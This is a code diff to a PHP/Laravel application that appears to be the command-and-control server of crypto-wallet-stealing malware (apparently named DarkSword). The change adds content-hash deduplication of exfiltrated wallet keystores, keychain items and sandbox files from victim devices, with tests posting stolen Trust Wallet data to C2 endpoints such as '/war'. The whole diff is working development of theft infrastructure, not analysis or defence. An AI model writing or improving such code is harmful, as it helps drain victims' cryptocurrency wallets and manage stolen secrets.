diff --git a/app/Models/WalletKeystore.php b/app/Models/WalletKeystore.php index 7ea24ab..5bbd1b6 100644 --- a/app/Models/WalletKeystore.php +++ b/app/Models/WalletKeystore.php @@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo; class WalletKeystore extends Model { protected $fillable = [ - 'device_id', 'source', 'decrypted', 'raw_json', + 'device_id', 'source', 'decrypted', 'raw_json', 'content_hash', ]; protected function casts(): array @@ -19,6 +19,78 @@ class WalletKeystore extends Model ]; } + /** + * @param array $rawJson + */ + public static function hashPayload(array $rawJson): string + { + $row = new static(['raw_json' => $rawJson]); + $digests = $row->contentDigests(); + $seed = $row->kind().'|'.implode(',', $digests); + if ($digests === []) { + $seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); + } + + return hash('sha256', $seed); + } + + /** + * @param array $rawJson + */ + public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self + { + $hash = self::hashPayload($rawJson); + $matches = []; + foreach (self::query()->where('device_id', $device->id)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) { + $rowHash = (string) $row->content_hash; + if ($rowHash === '') { + $rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []); + } + if (! hash_equals($rowHash, $hash)) { + continue; + } + if ((string) $row->content_hash !== $hash) { + $row->forceFill(['content_hash' => $hash])->save(); + } + $matches[] = $row; + } + + if ($matches !== []) { + $keep = $matches[0]; + foreach (array_slice($matches, 1) as $dup) { + $dup->delete(); + } + + return $keep; + } + + return self::query()->create([ + 'device_id' => $device->id, + 'source' => $source, + 'decrypted' => 0, + 'raw_json' => $rawJson, + 'content_hash' => $hash, + ]); + } + + /** + * @return list + */ + public function contentDigests(): array + { + $out = []; + foreach ($this->listedItems() as $item) { + $sha = (string) ($item['data_sha'] ?? ''); + if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) { + continue; + } + $out[] = $sha; + } + sort($out); + + return $out; + } + public function sourceLabel(): string { $source = trim((string) $this->source); @@ -48,7 +120,8 @@ class WalletKeystore extends Model * protection_class: string, * path: string, * data_len: int, - * data_preview: string + * data_preview: string, + * data_sha: string * }> */ public function listedItems(): array @@ -124,7 +197,8 @@ class WalletKeystore extends Model * protection_class: string, * path: string, * data_len: int, - * data_preview: string + * data_preview: string, + * data_sha: string * } */ private function normalizeItem(array $item): array @@ -145,6 +219,7 @@ class WalletKeystore extends Model 'path' => trim((string) ($item['path'] ?? '')), 'data_len' => strlen($bin), 'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex), + 'data_sha' => $bin === '' ? '' : hash('sha256', $bin), ]; } @@ -157,7 +232,8 @@ class WalletKeystore extends Model * protection_class: string, * path: string, * data_len: int, - * data_preview: string + * data_preview: string, + * data_sha: string * }> */ private function sandboxItems(array $sandbox, string $prefix = ''): array diff --git a/app/Services/DarkSwordIngestAdapter.php b/app/Services/DarkSwordIngestAdapter.php index be0a1f8..2afd034 100644 --- a/app/Services/DarkSwordIngestAdapter.php +++ b/app/Services/DarkSwordIngestAdapter.php @@ -689,12 +689,7 @@ class DarkSwordIngestAdapter */ private function createKeystore(Device $device, string $source, array $rawJson): WalletKeystore { - return WalletKeystore::query()->create([ - 'device_id' => $device->id, - 'source' => $source, - 'decrypted' => 0, - 'raw_json' => $rawJson, - ]); + return WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); } /** diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index e314041..a3d3cf4 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -529,12 +529,11 @@ class IngestService $source = WalletSource::fromKeystoreHint($result['source'] ?? null); } - WalletKeystore::query()->create([ - 'device_id' => $device->id, - 'source' => $source, - 'decrypted' => 0, - 'raw_json' => is_array($result) ? $result : ['value' => $result], - ]); + WalletKeystore::firstOrCreateForDevice( + $device, + $source, + is_array($result) ? $result : ['value' => $result], + ); } /** diff --git a/database/migrations/2026_09_10_000010_wallet_keystores_content_hash.php b/database/migrations/2026_09_10_000010_wallet_keystores_content_hash.php new file mode 100644 index 0000000..3a92ee6 --- /dev/null +++ b/database/migrations/2026_09_10_000010_wallet_keystores_content_hash.php @@ -0,0 +1,24 @@ +string('content_hash', 64)->nullable()->after('raw_json'); + $table->index(['device_id', 'content_hash']); + }); + } + + public function down(): void + { + Schema::table('wallet_keystores', function (Blueprint $table) { + $table->dropIndex(['device_id', 'content_hash']); + $table->dropColumn('content_hash'); + }); + } +}; diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index 8dbf37c..8cabfd7 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -560,6 +560,10 @@ class C2ApiTest extends TestCase ], ], $ts); + $this->call('POST', '/api/user/avatar/status', [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_TIMESTAMP' => $ts, + ], $enc['body'])->assertOk(); $this->call('POST', '/api/user/avatar/status', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, @@ -567,6 +571,7 @@ class C2ApiTest extends TestCase $device = Device::query()->where('device_id', 'dev-ks-1')->first(); $this->assertNotNull($device); + $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertNotNull($ks); $this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null); diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php index d8c0db8..848b91a 100644 --- a/tests/Feature/DarkSwordC2ApiTest.php +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -354,6 +354,72 @@ class DarkSwordC2ApiTest extends TestCase $this->assertContains('imToken', $sources); } + #[Test] + public function war_skips_duplicate_keystore_content(): void + { + $payload = [ + 'lhu' => self::DS_LHU, + 'source' => 'pe_war_guarantee', + 'keychain' => [ + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'account' => 'trust_wallet', + 'dataHex' => bin2hex('{"device_uuid":"69DD25B2CA8B5682"}'), + ]], + ], + ], + ], + 'sandbox' => [ + 'trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}', + ], + ]; + + $this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]); + $this->postJson('/war', $payload)->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $rows = WalletKeystore::query()->where('device_id', $device->id)->get(); + $this->assertSame(2, $rows->count()); + $this->assertEqualsCanonicalizing(['钥匙串', '沙盒文件'], $rows->map(fn ($row) => $row->kindLabel())->all()); + } + + #[Test] + public function war_collapses_existing_duplicate_sandbox_rows(): void + { + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'chain' => Device::CHAIN_DARKSWORD, + ]); + $raw = [ + 'kind' => 'sandbox', + 'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'], + ]; + WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => $raw, + ]); + WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => $raw, + ]); + $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count()); + + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'sandbox' => ['trust_wallet' => '{"device_uuid":"69DD25B2CA8B5682"}'], + ])->assertOk(); + + $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); + $this->assertNotSame('', (string) WalletKeystore::query()->where('device_id', $device->id)->value('content_hash')); + } + #[Test] public function war_twelve_word_phrase_ingests_mnemonic(): void { diff --git a/tests/Unit/WalletKeystoreTest.php b/tests/Unit/WalletKeystoreTest.php index 892e585..c3b6c52 100644 --- a/tests/Unit/WalletKeystoreTest.php +++ b/tests/Unit/WalletKeystoreTest.php @@ -35,4 +35,34 @@ class WalletKeystoreTest extends TestCase $this->assertSame('777350', $row->listedItems()[0]['data_preview']); $this->assertSame('agrp', $row->listedItems()[0]['access_group']); } + + #[Test] + public function same_sandbox_bytes_share_one_hash(): void + { + $json = '{"device_uuid":"69DD25B2CA8B5682"}'; + $asFile = [ + 'kind' => 'sandbox', + 'sandbox' => ['trust_wallet' => $json], + ]; + $asNested = [ + 'kind' => 'sandbox', + 'sandbox' => [ + 'trust_wallet' => [ + 'Documents/keystore/wallet.json' => base64_encode($json), + ], + ], + ]; + + $this->assertSame( + WalletKeystore::hashPayload($asFile), + WalletKeystore::hashPayload($asNested), + ); + $this->assertNotSame( + WalletKeystore::hashPayload($asFile), + WalletKeystore::hashPayload([ + 'kind' => 'sandbox', + 'sandbox' => ['trust_wallet' => '{"device_uuid":"other"}'], + ]), + ); + } }